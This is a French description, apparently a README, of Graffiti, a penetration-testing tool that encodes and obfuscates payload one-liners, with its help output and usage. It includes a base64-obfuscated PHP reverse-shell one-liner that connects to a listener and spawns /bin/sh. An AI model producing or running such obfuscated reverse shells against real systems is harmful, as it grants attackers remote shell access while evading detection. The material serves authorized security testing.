
Un outil pour générer des one-liners obfusqués afin d'aider dans les tests de pénétration.

Graffiti est un outil permettant de générer des oneliners obfusqués pour aider dans les situations de test de pénétration. Graffiti accepte les langages suivants pour l'encodage :
Graffiti accepte également un langage qui n'est pas actuellement dans la liste et stocke l'oneliner dans une base de données.
Graffiti est livré avec une base de données qui insère chaque payload encodé dans celle-ci, afin de permettre aux utilisateurs finaux de visualiser les payloads déjà créés pour une utilisation future. Les payloads peuvent être encodés en utilisant les techniques suivantes :
Quelques fonctionnalités de Graffiti incluent :
Graffiti est fourni avec un terminal intégré. Lorsque vous ne passez aucun argument au programme, il bascule dans le terminal. Le terminal dispose d'un historique, de la possibilité d'exécuter des commandes externes et de ses propres commandes internes. Pour obtenir de l'aide, il suffit de taper help ou ? :
________ _____ _____.__ __ .__
/ _____/___________ _/ ____\/ ____\__|/ |_|__|
/ \ __\_ __ \__ \\ __\\ __\| \ __\ |
\ \_\ \ | \// __ \| | | | | || | | |
\______ /__| (____ /__| |__| |__||__| |__|
\/ \/
v(0.1)
no arguments have been passed, dropping into terminal type `help/?` to get help, all commands that sit inside of `/bin` are available in the terminal
root@graffiti:~/graffiti# ?
Command Description
--------- --------------
help/? Show this help
external List available external commands
cached Display all payloads that are already in the database
list/show List all available payloads
search <phrase> Search for a specific payload
use <payload> <coder> Use this payload and encode it using a specified coder
info <payload> Get information on a specified payload
check Check for updates
history Display command history
exit/quit Exit the terminal and running session
encode <script-type> <coder> Encode a provided payload
root@graffiti:~/graffiti# help
Command Description
--------- --------------
help/? Show this help
external List available external commands
cached Display all payloads that are already in the database
list/show List all available payloads
search <phrase> Search for a specific payload
use <payload> <coder> Use this payload and encode it using a specified coder
info <payload> Get information on a specified payload
check Check for updates
history Display command history
exit/quit Exit the terminal and running session
encode <script-type> <coder> Encode a provided payload
Graffiti propose également des arguments en ligne de commande lorsque vous avez besoin d'encoder rapidement un payload :
usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
[--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
[-l]
[-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
[-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
[-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]]
optional arguments:
-h, --help show this help message and exit
-c CODEC, --codec CODEC
specify an encoding technique (*default=None)
-p PAYLOAD, --payload PAYLOAD
pass the path to a payload to use (*default=None)
--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
create a payload file and store it inside of
./etc/payloads (*default=None)
-l, --list list all available payloads by path (*default=False)
-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
pass your own personal payload to use for the encoding
(*default=None)
-lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
pass a listening address to use for the payload (if
needed) (*default=None)
-lP LISTENING-PORT, --lport LISTENING-PORT
pass a listening port to use for the payload (if
needed) (*default=None)
-u URL, --url URL pass a URL if needed by your payload (*default=None)
-vC, --view-cached view the cached data already present inside of the
database
-H, --no-history do not store the command history (*default=True)
-W, --wipe wipe the database and the history (*default=False)
--memory initialize the database into memory instead of a .db
file (*default=False)
-mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
pass more external commands, this will allow them to
be accessed inside of the terminal commands must be in
your PATH (*default=None)
Encoder un payload est aussi simple que cela :
root@graffiti:~/graffiti# python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1 -lP 9065
Encoded Payload:
--------------------------------------------------
php -r 'exec(base64_decode("JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDkwNjUpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7"));'
--------------------------------------------------
Une démo de Graffiti est disponible ici :
Sur n'importe quel système Linux, Mac ou Windows, Graffiti devrait fonctionner sans nécessiter l'installation de paquets externes. Si vous souhaitez installer Graffiti en tant qu'exécutable sur votre système (vous devez être sous Linux ou Mac pour que cela fonctionne correctement), il vous suffit de faire ce qui suit :
./install.sh
Cela installera Graffiti sur votre système et vous permettra de l'exécuter depuis n'importe où.
Si vous rencontrez un bogue ou un problème, veuillez créer une issue avec les détails ici et merci d'avance !